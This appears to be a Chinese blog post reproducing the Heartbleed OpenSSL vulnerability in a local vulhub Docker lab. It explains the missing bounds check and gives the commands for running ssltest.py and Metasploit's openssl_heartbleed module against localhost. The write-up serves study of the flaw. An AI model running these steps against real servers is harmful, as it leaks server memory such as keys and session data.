心脏滴血漏洞复现

发布于 2020-07-28  7 次阅读


漏洞成因

Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。 这种泄露的情况感觉就像人心脏出血一泵一泵的泄露,感觉很贴切这个漏洞的名字

这次漏洞的复现用到了vulhub+docker

环境构建

Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

#切换到漏洞所在的vulhub目录
cd D:\vulhub\openssl\heartbleed
#构建漏洞环境
D:\vulhub\openssl\heartbleed>docker-compose up -d
Starting heartbleed_nginx_1 ... done     

漏洞利用

python脚本

python2 python ssltest.py 127.0.0.1

能看到泄露出了一部分html头信息

msf利用

search heartbleed
#使用扫描模块
use use auxiliary/scanner/ssl/openssl_heartbleed
#设置目标主机
msf5>set RHOSTS 127.0.01
msf5> run
还得把verbose设置为true才能看到泄露的信息
msf5> set verbose true 
msf5> exploit

到此这个漏洞的复现就结束了